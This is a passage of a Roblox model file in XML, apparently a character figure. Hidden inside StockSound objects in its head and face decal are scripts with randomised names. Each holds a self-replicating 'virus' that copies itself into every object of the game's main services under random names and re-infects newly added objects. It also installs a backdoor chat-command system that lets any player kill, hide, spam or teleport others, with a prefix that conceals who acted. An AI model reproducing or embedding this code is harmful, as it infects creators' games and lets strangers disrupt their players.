local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX345">
					<Properties>
						<token name="Controller">7</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Figure</string>
						<Ref name="PrimaryPart">RBX346</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX346">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-6.70113564</X>
								<Y>4.82223845</Y>
								<Z>116.965019</Z>
								<R00>0.697126448</R00>
								<R01>2.63230845e-007</R01>
								<R02>0.716948211</R02>
								<R10>1.03866682e-006</R10>
								<R11>1</R11>
								<R12>-1.37710481e-006</R12>
								<R20>-0.716948211</R20>
								<R21>1.7046865e-006</R21>
								<R22>0.697126448</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Head</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX347">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">0</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1.25</X>
									<Y>1.25</Y>
									<Z>1.25</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX348">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">xp8v</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX349">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">omw3a</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="Decal" referent="RBX350">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">face</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX351">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">ojl3</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX352">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">lhuq9pnpn</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
